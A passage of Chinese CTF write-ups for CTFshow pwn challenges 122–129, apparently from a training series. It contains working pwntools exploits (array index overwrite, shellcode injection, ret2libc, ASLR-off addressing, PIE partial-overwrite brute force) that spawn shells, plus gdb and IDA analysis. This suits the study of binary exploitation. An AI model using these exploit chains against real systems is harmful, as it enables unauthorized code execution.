    NX:         NX enabled
    PIE:        PIE enabled
[*] Switching to interactive mode
$ ls

pwn122【堆，过】

Hint：Bypass Canary 姿势8,远程环境：Ubuntu 16

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)

32位开启Canary保护NX保护，部分开启RELRO

IDA查看main函数：

int main()
{
  void *ptr; // [esp+18h] [ebp-8h]

  sub_804866D();
  ptr = 0;
  while ( 1 )
  {
    switch ( sub_8048B2E() )
    {
      case 1:
        if ( ptr )
          free(ptr);
        ptr = (void *)sub_8048B03(0x100u);
        sub_8048510("Done.");
        continue;
      case 2:
        if ( ptr )
          sub_8048780((char *)ptr);
        goto LABEL_17;
      case 3:
        if ( ptr )
          sub_8048823((char *)ptr);
        goto LABEL_17;
      case 4:
        if ( ptr )
          sub_80488C6((char *)ptr);
        goto LABEL_17;
      case 5:
        if ( ptr )
          sub_8048A70((char *)ptr);
LABEL_17:
        sub_8048510("Done.");
        break;
      case 6:
        if ( ptr )
        {
          sub_80484B0("The Flag is: %s\n", (const char *)ptr);
          free(ptr);
          ptr = 0;
          sub_8048510("Done.");
        }
        else
        {
          sub_8048510("You have to input flag first!");
        }
        break;
      case 7:
        sub_8048510("Bye");
        return 0;
      default:
        sub_8048510("Invalid!");
        break;
    }
  }
}

看⼀下菜单：

int sub_8048B2E()
{
  sub_8048510("*CTFshow flag Generator* ");
  sub_8048510("1. Input Flag");
  sub_8048510("2. Uppercase");
  sub_8048510("3. Lowercase");
  sub_8048510("4. Leetify");
  sub_8048510("5. Add Prefix");
  sub_8048510("6. Output Flag");
  sub_8048510("7. Exit ");
  sub_8048510("=========================");
  sub_80484B0("Your choice: ");
  return sub_804873E();
}
//sub_8048510→puts

对应7个分⽀分别对应7个选项

跟进选项sub_80488C6：

unsigned int __cdecl sub_80488C6(char *dest)
{
  char *v1; // eax
  char *v2; // eax
  char *v3; // eax
  _BYTE *v4; // eax
  char *v5; // eax
  char *v6; // eax
  char *v7; // eax
  char *v8; // eax
  char *v9; // eax
  char *v10; // eax
  char *v11; // eax
  char *p_src; // [esp+14h] [ebp-114h]
  char *dest_1; // [esp+18h] [ebp-110h]
  char src[256]; // [esp+1Ch] [ebp-10Ch] BYREF
  unsigned int v16; // [esp+11Ch] [ebp-Ch]

  v16 = __readgsdword(0x14u);
  p_src = src;
  for ( dest_1 = dest; *dest_1; ++dest_1 )
  {
    switch ( *dest_1 )
    {
      case 'A':
      case 'a':
        v1 = p_src++;
        *v1 = 52;
        break;
      case 'B':
      case 'b':
        v2 = p_src++;
        *v2 = 56;
        break;
      case 'E':
      case 'e':
        v3 = p_src++;
        *v3 = 51;
        break;
      case 'H':
      case 'h':
        *p_src = 49;
        p_src[1] = 45;
        v4 = p_src + 2;
        p_src += 3;
        *v4 = 49;
        break;
      case 'I':
      case 'i':
        v5 = p_src++;
        *v5 = 33;
        break;
      case 'L':
      case 'l':
        v6 = p_src++;
        *v6 = 49;
        break;
      case 'O':
      case 'o':
        v7 = p_src++;
        *v7 = 48;
        break;
      case 'S':
      case 's':
        v8 = p_src++;
        *v8 = 53;
        break;
      case 'T':
      case 't':
        v9 = p_src++;
        *v9 = 55;
        break;
      case 'Z':
      case 'z':
        v10 = p_src++;
        *v10 = 50;
        break;
      default:
        v11 = p_src++;
        *v11 = *dest_1;
        break;
    }
  }
  *p_src = 0;
  strcpy(dest, src);
  return __readgsdword(0x14u) ^ v16;
}

可以看到将选项1读⼊的flag，传⼊到选项4的sub_80488C6函数中，flag中只要含有h或者H字符就会变成三个字符-> “1-1” ，可以利⽤这个进⾏栈溢出。然后函数结尾还有strcpy，将变换后的src字符串，拷⻉到dest指向的内存位置。然后由于栈溢出覆盖了canary，所以函数最后会触发stack_chk_fail函数。可以利⽤栈溢出，strcpy，和触发stack_chk_fail函数，以及搜集的ROPgadget，进⾏getshell

可以进⾏验证⼀下：

$ ./pwn
*CTFshow flag Generator*
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit
=========================
Your choice: 1
abcdefghijklmn
Done.
*CTFshow flag Generator*
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit
=========================
Your choice: 4
Done.
*CTFshow flag Generator*
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit
=========================
Your choice: 6
The Flag is: 48cd3fg1-1!jk1mn
Done.

其他的都是⼀个字符对应⼀个字符，只有h由原本的h变成了1-1

具体流程：

⾸先选1，输⼊flag，然后选4，将输⼊的flag中的h变成1-1字符串，在4选项进⼊的函数结尾处，strcpy，将ebp+8位置指向堆的指针地址，存到dest，将从输⼊的flag中变化后的字符串的起始地址传到src处，

将src处字符串拷⻉到dest处

由于可以将h字符变⻓造成栈溢出，所以可以覆盖ebp+8位置的地址，

覆盖为stack_chk_fail的got地址。然后strcpy将src处的字符串拷⻉到stack_chk_fail的got地址处。

这⾥可以通过构造出泄漏出puts函数的地址，然后进⾏常规的rop，当然，还有更加简单的⽅法，这⾥⼤家可以⾃⾏尝试

from pwn import *
context.log_level = 'debug'
io = process('./pwn')

pwn123

Hint：Bypass Canary 姿势9

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32位开启Canary保护NX保护，部分开启RELRO

IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  logo();
  whoareyou();
  ctfshow();
  seeyou();
  return 0;
}

着重看whoareyou,ctfshow,seeyou这三个函数：

Whoareyou():

char *whoareyou()
{
  puts("what's your name?");
  return gets(name);
}

name在bss段：

.bss:0804B060                 public name
.bss:0804B060 ; char name[1024]
.bss:0804B060 name            db 400h dup(?)          ; DATA XREF: whoareyou+27↑o
.bss:0804B060                                         ; seeyou+14↑o

ctfshow():

unsigned int ctfshow()
{
  int n9; // [esp+8h] [ebp-40h] BYREF
  int n9_1; // [esp+Ch] [ebp-3Ch] BYREF
  _DWORD p_n9[11]; // [esp+10h] [ebp-38h] BYREF
  unsigned int v4; // [esp+3Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  for ( n9 = 0; n9 <= 9; ++n9 )
    p_n9[n9 + 1] = 0;
  while ( 1 )
  {
    puts("0 > exit");
    puts("1 > edit number");
    puts("2 > show number");
    puts("3 > sum");
    puts("4 > dump all numbers");
    printf(" > ");
    __isoc99_scanf("%d", p_n9); // 读取选项到p_n9[0]
    switch ( p_n9[0] )
    {
      case 0:
        return __readgsdword(0x14u) ^ v4;
      case 1:
        printf("Index to edit: ");
        __isoc99_scanf("%d", &n9);
        printf("How many? ");
        __isoc99_scanf("%d", &n9_1);
        p_n9[n9 + 1] = n9_1;
        break;
      case 2:
        printf("Index to show: ");
        __isoc99_scanf("%d", &n9);
        printf("arr[%d] is %d\n", n9, p_n9[n9 + 1]);
        break;
      case 3:
        n9_1 = 0;
        for ( n9 = 0; n9 <= 9; ++n9 )
          n9_1 += p_n9[n9 + 1];
        printf("Sum is %d\n", n9_1);
        break;
      case 4:
        for ( n9 = 0; n9 <= 9; ++n9 )
          printf("arr[%d] is %d\n", n9, p_n9[n9 + 1]);
        break;
      default:
        continue;
    }
  }
}

1（edit）	1. 读入`n9`（索引）和`n9_1`（数值）； 2. `p_n9[n9 + 1] = n9_1;`	无索引检查：用户可输入任意`n9`（如`n9=14`），修改`p_n9[15]`（返回地址）为后门地址。
2（show）	1. 读入`n9`（索引）； 2. 打印`p_n9[n9 + 1]`的值	无索引检查：用户可输入`n9=10`，读取`p_n9[11]`（Canary 值），实现 Canary 泄露。

数组首元素到返回地址的总字节偏移:

算总字节偏移:(ebp+4) - (ebp-0x38) = 0x3C
字节→实际索引:0x3C ÷4 =15(p_n9[15])
实际→逻辑索引:n9+1=15 →n9=14

存在后⻔函数init0()：

int init0()
{
  return system("/bin/sh");
}

所以我们只需要将arr[14]修改成后⻔函数地址即可get shell

from pwn import *
context(arch='i386', os='linux', log_level='debug') 
io = process('./pwn')
elf = ELF('./pwn')
init0 = elf.sym['init0']
io.sendlineafter(b"what's your name?",b'rhea')
io.recvuntil(b"4 > dump all numbers")  #接收ctfshow()的菜单输出，直到出现最后一个选项（确保菜单加载完成）
io.sendlineafter(b" > ",b'1') #发送"1"，选择ctfshow()的"edit number"功能（case1）
io.sendlineafter(b"Index to edit: ",b'14')
io.sendlineafter(b"How many? ",str(init0).encode())  #发送init0()的地址，将p_n9[15]（返回地址）覆盖为后门地址
io.sendline(b'0')  # 发送"0"，选择ctfshow()的"exit"功能（case0），触发函数返回
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 90
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] Switching to interactive mode
0 > exit
1 > edit number
2 > show number
3 > sum
4 > dump all numbers
 > $ ls
 ctfshow_flag

pwn124

Hint：No NX 但是多了啥？

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX disabled
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

32位仅部分开启RELRO保护

IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-Ah] [ebp-20h]
  int v5; // [esp-6h] [ebp-1Ch]
  char s1[14]; // [esp+0h] [ebp-16h] BYREF
  int *p_argc; // [esp+Eh] [ebp-8h]

  p_argc = &argc;
  init();
  logo();
  __isoc99_scanf("%s", s1, v4, v5);
  if ( !strcmp(s1, "CTFshowPWN") )
    ctfshow(p_argc);
  else
    puts("Good Luck!~");
  return 0;
}

先输⼊⼀个字符串，然后进⼊判断，如果输⼊的是”CTFshowPWN”就进⼊ctfshow函数，跟进ctfshow函数：

; int __cdecl ctfshow(_DWORD p_argc)
public ctfshow
proc near               ; CODE XREF: main+57↓p

buf             = byte ptr -3Ah
var_4           = dword ptr -4
p_argc          = dword ptr  8

; __unwind {
push    ebp
mov     ebp, esp
push    ebx
sub     esp, 44h
call    __x86_get_pc_thunk_ax
add     eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
sub     esp, 4 #栈对齐
push    77h ; 'w'       ; nbytes
lea     edx, [ebp+buf]
push    edx             ; buf
push    0               ; fd
mov     ebx, eax #保存GOT地址到EBX
call    _read
add     esp, 10h #清理栈上的参数（3个参数共12字节 + 之前的4字节对齐 = 16字节=0x10）
lea     eax, [ebp+buf] #将buf的地址加载到EAX寄存器
call    eax #调用EAX指向的地址（即执行buf中的内容）
nop
mov     ebx, [ebp+var_4]
leave
retn
; } // starts at 804869E
ctfshow         endp

ctfshow函数的核心逻辑是：读取用户输入（最多 119 字节）到栈上的缓冲区，然后直接执行缓冲区中的内容。由于程序关闭了 NX 保护（栈可执行），只需向该缓冲区注入 shellcode，即可通过call eax触发执行，最终获取 shell。

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
shellcode = asm(shellcraft.sh())
io.sendline(b"CTFshowPWN")
io.send(shellcode)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 120
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanism_Bypass
    * Site  : https://ctf.show/
    * Hint  : NX disabled & Has RWX segments
    * *************************************
$ ls
 ctfshow_flag

pwn125

Hint：开启了NX，看看汇编多了啥？

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

64位开启NX，部分开启RELRO

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  logo();
  ctfshow();
  return 0;
}

跟进ctfshow函数：

__int64 ctfshow()
{
  _BYTE v1[8192]; // [rsp+0h] [rbp-2000h] BYREF

  return __isoc99_scanf("%s", v1);
}

很明显存在缓冲区溢出漏洞[栈上为var_2000分配了0x2000（8192 字节）空间，但scanf会一直读入直到遇到空格 / 换行，完全不检查输入长度。]，常规做法⼀般会如何去做？由于开启了NX，⼀般会考虑使⽤ROP去绕过NX，继续查看发现程序中有system函数地址，找到ez函数：

int ez()
{
  return system("echo 'just_do_it!'");
}

常规做法这⾥不再概述，相信⼤家在前⾯练了这么多应该都会了，我们仔细查看汇编代码（看伪代码看不出来的地⽅）：

; __int64 ctfshow()
public ctfshow
ctfshow proc near

var_2000= byte ptr -2000h

; __unwind {
push    rbp
mov     rbp, rsp
sub     rsp, 2000h
lea     rax, [rbp+var_2000]
mov     rsi, rax
lea     rdi, p__s       ; "%s"
mov     eax, 0
call    ___isoc99_scanf
mov     rdi, rsp
nop
leave
retn
; } // starts at 400760
ctfshow endp

发现这⾥多出了mov rdi,rsp,这不就是将 rdi 指向了scanf读⼊的数据在内存中的第⼀个位置？利⽤这⼀点可以很简单写⼊”/bin/sh\x00”

那么现在我们有了溢出漏洞，有了system，有了”/bin/sh“，就⾮常简单了

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
call_system = 0x400672 #.text:0000000000400672                 call    _system
payload = b"/bin/sh\x00" + b'A'*(0x2000) + p64(call_system) #"/bin/sh\x00" + [垃圾数据填充到返回地址] + [system函数的地址]
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 154
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanism_Bypass
    * Site  : https://ctf.show/
    * Hint  : Checking the assembly code may help you !
    * *************************************
$ ls
 ctfshow_flag

pwn126(ubuntu18)

Hint：

开启NX，但是如果ALSR = 0 会发生什么？ [由于远程环境问题，关闭此保护容易引起Docker逃逸等问题，此处远程环境ALSR保护等级为2，但是可以在本地更改为0，并看有什么区别]

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

64位开启NX，部分开启RELRO

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  logo();
  puts("Let's go");
  ctfshow();
  return 0;
}

跟进ctfshow()：

ssize_t ctfshow()
{
  _BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

  return read(0, buf, 0x77u);
}

明显的栈溢出漏洞了，那么我们常规做法，也就是前⾯学习的过程中我们可以使⽤ret2libc轻松绕过

$ ROPgadget --binary ./pwn | grep "ret"
0x00000000004007a3 : pop rdi ; ret
0x00000000004004c6 : ret

### ret2libc ###
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x4007a3
ret = 0x4004c6

payload = cyclic(0x40+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendlineafter(b"Let's go",payload)

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.sym['system']

payload = cyclic(0x40+8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)
io.sendlineafter(b"Let's go",payload)
io.recv()
io.interactive()

依据题⽬描述，我们可知远程环境的ALSR保护为2，我们先在本地改为0,可以发现，我们⽆需去进⾏泄漏地址，直接在gdb调试找到对应地址即可进⾏攻击。

$ gdb ./pwn
pwndbg> r
^c
pwndbg> cyclic(200)
pwndbg> c
...
#弄崩溃
pwndbg> ropper -- --search "pop rdi; ret;"
warning: Memory read failed for corefile section, 4096 bytes at 0xffffffffff600000.
Saved corefile /tmp/tmpsbm9741l
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;

[INFO] File: /tmp/tmpsbm9741l
0x00000000004007a3: pop rdi; ret;

pwndbg> ropper -- --search "ret;"
warning: Memory read failed for corefile section, 4096 bytes at 0xffffffffff600000.
Saved corefile /tmp/tmp4e9l8xcp
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret;

[INFO] File: /tmp/tmp4e9l8xcp
0x00000000004004c6: ret;

pwndbg> p system
$1 = {int (const char *)} 0x7ffff7df8750 <__libc_system>

pwndbg> search -t string "/bin/sh" libc
Searching for string: b'/bin/sh\x00'
libc.so.6       0x7ffff7f6b42f 0x68732f6e69622f /* '/bin/sh' */

pwndbg> x/s 0x7ffff7f6b42f
0x7ffff7f6b42f:"/bin/sh"

### ALSR = 0 ###
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
system = 0x7ffff7df8750
binsh = 0x7ffff7f6b42f
pop_rdi = 0x4007a3 
ret = 0x4004c6 

payload = cyclic(0x40+8) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
io.send(payload)
io.recv()
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 59
[*] '/PWN/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
0x7f7cc0123970
[*] Switching to interactive mode
$ ls

$ python3 exp.py
[+] Starting local process './pwn': pid 471
[*] '/CTFshow_pwn/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
[*] Switching to interactive mode
$ ls
 ctfshow_flag

pwn127

Hint：No PIE

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

64位开启NX，部分开启RELRO

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  logo();
  puts("See you again!");
  ctfshow();
  write(0, "Hello CTFshow!\n", 0xEu);
  return 0;
}

跟进ctfshow():

ssize_t ctfshow()
{
  _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x100u);
}

同样的原理，未开启PIE时，仍然可以⽤ret2libc的⽅法,这⾥可以当作对前⾯题⽬的复习

$ ROPgadget --binary ./pwn | grep "ret"
0x0000000000400803 : pop rdi ; ret
0x0000000000400801 : pop rsi ; pop r15 ; ret
0x00000000004004fe : ret

### ret2libc ###
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x400803
ret = 0x4004fe

payload = cyclic(0x80+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendlineafter(b"See you again!",payload)

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.sym['system']

payload = cyclic(0x80+8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)
io.sendlineafter(b"See you again!",payload)
io.recv()
io.interactive()
#用write的话也可以
#0x0000000000400801 : pop rsi ; pop r15 ; ret
#payload = cyclic(0x80+8) + p64(pop_rdi_ret) + p64(1）+ p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(main)
#payload = cyclic(0x80+8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)

$ python3 exp.py
[+] Starting local process './pwn': pid 90
[*] '/PWN/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
0x7fd9980a3970
[*] Switching to interactive mode
$ ls

gdb调试

$ gdb ./pwn
pwndbg> r
^c
pwndbg> cyclic(200)
pwndbg> c
...
#弄崩溃
pwndbg> ropper -- --search "pop rdi; ret;"

pwndbg> ropper -- --search "ret;"

pwndbg> p system
$1 = {int (const char *)} 0x7ffff7df8750 <__libc_system>

pwndbg> search -t string "/bin/sh" libc
Searching for string: b'/bin/sh\x00'
libc.so.6       0x7ffff7f6b42f 0x68732f6e69622f /* '/bin/sh' */

pwndbg> x/s 0x7ffff7f6b42f
0x7ffff7f6b42f:"/bin/sh"

### ALSR = 0 ###
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
system = 0x7ffff7df8750
binsh = 0x7ffff7f6b42f
pop_rdi = 0x400803
ret = 0x4004fe

payload = cyclic(0x40+8) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
io.send(payload)
io.recv()
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 520
[*] '/CTFshow_pwn/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
[*] Switching to interactive mode
$ ls
 ctfshow_flag

pwn128[ASLR:0时本地能打通，试一下远程]

Hint：Bypass PIE(本地环境跟远程环境略有差别，请注意识别查看并修改exp)

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

64位开启NX，开启了PIE，部分开启RELRO

IDA查看main函数，跟进dopwn()：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  puts(
    "--------------------------------------------\n"
    "|   Welcome to CTFshow-PWN service          |\n"
    "--------------------------------------------");
  dopwn(
    "--------------------------------------------\n"
    "|   Welcome to CTFshow-PWN service          |\n"
    "--------------------------------------------");
  return 0;
}

int __fastcall dopwn(__int64 p______________________________________________n____Welcome_to_CT)
{
  _BYTE v2[140]; // [rsp+0h] [rbp-C0h] BYREF
  _DWORD s_[13]; // [rsp+8Ch] [rbp-34h] BYREF

  memset(s_, 0, 0x28u);
  s_[10] = 140;
  set_user(v2);
  set_pwn(v2);
  return puts("PWN delivered");
}

dopwn()：初始化栈变量v2[140]（偏移rbp-C0h）和s_[13]（偏移rbp-34h）

分别跟进set_user():

int __fastcall set_user(__int64 a1)
{
  char s[140]; // [rsp+10h] [rbp-90h] BYREF
  int n40; // [rsp+9Ch] [rbp-4h]

  memset(s, 0, 0x80u);
  puts("Enter your name");
  printf("> ");
  fgets(s, 128, _bss_start);
  for ( n40 = 0; n40 <= 40 && s[n40]; ++n40 )
    *(_BYTE *)(a1 + n40 + 140) = s[n40];
  return printf("Hi, %s", (const char *)(a1 + 140));
}

读取 128 字节用户名，将前 41 字节（n40=0~40）复制到v2+140~`v2+180，其中v2+180恰好是s_[10]（strncpy`的长度参数）。

set_pwn():

char *__fastcall set_pwn(__int64 dest)
{
  char s[1024]; // [rsp+10h] [rbp-400h] BYREF

  memset(s, 0, sizeof(s));
  puts("PWN our leader");
  printf("> ");
  fgets(s, 1024, _bss_start);
  return strncpy((char *)dest, s, *(int *)(dest + 180));
}

读取 1024 字节输入，通过strncpy(dest, s, dest+180)复制到v2，长度由dest+180（即s_[10]）控制—— 若修改s_[10]为大值，可触发栈溢出。

仔细查看发现存在后⻔函数GAME_OVER()：

int GAME_OVER()
{
  char s[128]; // [rsp+0h] [rbp-80h] BYREF

  fgets(s, 128, _bss_start);
  return system(s);
}

这个程序开启了PIE保护，我们不能确定后⻔函数GAME_OVER()的具体地址，因此没办法直接通过溢出来跳转到后⻔函数GAME_OVER()。我们可以尝试爆破。

由于内存的⻚载⼊机制，PIE的随机化只能影响到单个内存⻚。通常来说，⼀个内存⻚⼤⼩为0x1000，这就意味着不管地址怎么变，某条指令的后12位，3个⼗六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位 (按字节写⼊，每字节8位)就可以快速爆破或者直接劫持EIP。查看汇编代码：

.text:0000000000000900 ; int GAME_OVER()
.text:0000000000000900                 public GAME_OVER
.text:0000000000000900 GAME_OVER       proc near
.text:0000000000000900
.text:0000000000000900 s               = byte ptr -80h
.text:0000000000000900
.text:0000000000000900 ; __unwind {
.text:0000000000000900                 push    rbp
.text:0000000000000901                 mov     rbp, rsp
.text:0000000000000904                 add     rsp, 0FFFFFFFFFFFFFF80h
.text:0000000000000908                 mov     rdx, cs:__bss_start ; stream
.text:000000000000090F                 lea     rax, [rbp+s]
.text:0000000000000913                 mov     esi, 80h        ; n
.text:0000000000000918                 mov     rdi, rax        ; s
.text:000000000000091B                 call    _fgets
.text:0000000000000920                 lea     rax, [rbp+s]
.text:0000000000000924                 mov     rdi, rax        ; command
.text:0000000000000927                 call    _system
.text:000000000000092C                 nop
.text:000000000000092D                 leave
.text:000000000000092E                 retn
.text:000000000000092E ; } // starts at 900
.text:000000000000092E GAME_OVER       endp

我们可以看到其地址后三位为0x900

但是由于我们的payload必须按字节写⼊，每个字节是两个⼗六进制数，所以我们必须输⼊两个字节。除去已知的0x900还需要爆破⼀个⼗六进制数。这个数只可能在0~0xf之间改变，因此爆破并空间不⼤。

我们知道爆破失败的话程序就会崩溃，此时io的连接会关闭，因此调⽤io.recv( )会触发⼀个EOFError。由于这个特性，我们可以使⽤python的try…except…来捕获这个错误并进⾏处理。

值得注意的是，由于没有刷新缓冲区，导致远程部署环境时回显信息会有差异，即没有及时显⽰，先让你输⼊，在两次输⼊过后才进⾏回显。

$ gdb ./pwn
pwndbg> info functions GAME_OVER
All functions matching regular expression "GAME_OVER":

Non-debugging symbols:
0x0000000000000900  GAME_OVER

pwndbg> r

> ^C

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
    0x555555400000     0x555555401000 r-xp     1000       0 pwn

pwndbg> x/1i 0x555555400900
   0x555555400900 :push   rbp

本地exp：

from pwn import *
context.update(arch='amd64', os='linux')
io = process('./pwn')

# 步骤1：通过set_user修改strncpy的长度参数（s_[10]）
# 前40字节填充，第41字节修改为0xca（大于140即可，如0xca=202）
payload = b'a' * 40 + b'\xca'
io.recvuntil(b"Enter your name")
io.sendlineafter(b"> ",payload)

# 步骤2：通过set_pwn溢出覆盖返回地址到GAME_OVER()
# 先通过gdb调试获取本地GAME_OVER()的实际地址
# 计算偏移：v2到返回地址的距离是0xc8（200）字节
game_over_addr = 0x555555400900
payload = cyclic(0xc0+8) + p64(game_over_addr)    # 填充到返回地址+覆盖返回地址

io.recvuntil(b"PWN our leader")
io.sendlineafter(b"> ",payload)

# 触发GAME_OVER()后发送shell命令
io.sendline(b'/bin/sh\x00')
io.interactive()

远程exp:

from pwn import *
context.update(arch = 'amd64', os = 'linux')
i = 0
while True:
    i += 1
    print(i)
    io = process('./pwn')
    #io.recv()
    # 前40字节填充，第41字节修改为0xca（大于140即可，如0xca=202）
    payload = b'a'*40
    payload += b'\xca'
    io.sendline(payload)
    #io.recv()
    payload = cyclic(0xc0+8)
    payload += b'\x01\x09' #尝试覆盖函数返回地址的低 2 个字节
    io.sendline(payload)
    #io.recv()
    try:
        io.recv(timeout = 1)
    except EOFError:
        io.close()
        continue
    else:
        sleep(0.1)
        io.sendline(b'/bin/sh\x00')
        sleep(0.1)
        io.interactive()
        break

$ python3 exp.py
1
[+] Starting local process './pwn': pid 570
[*] Switching to interactive mode
$ ls
 ctfshow_flag

pwn129【先过】

Hint：Calc 1.0(远程环境：Ubuntu 16.04)

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled

64位开启NX，开启了PIE，部分开启RELRO

IDA查看main函数：

__int64 __fastcall main(__int64 a1, char **a2, char **a3, __int64 a4, __int64 a5, __int64 a6)
{
  int n2; // eax

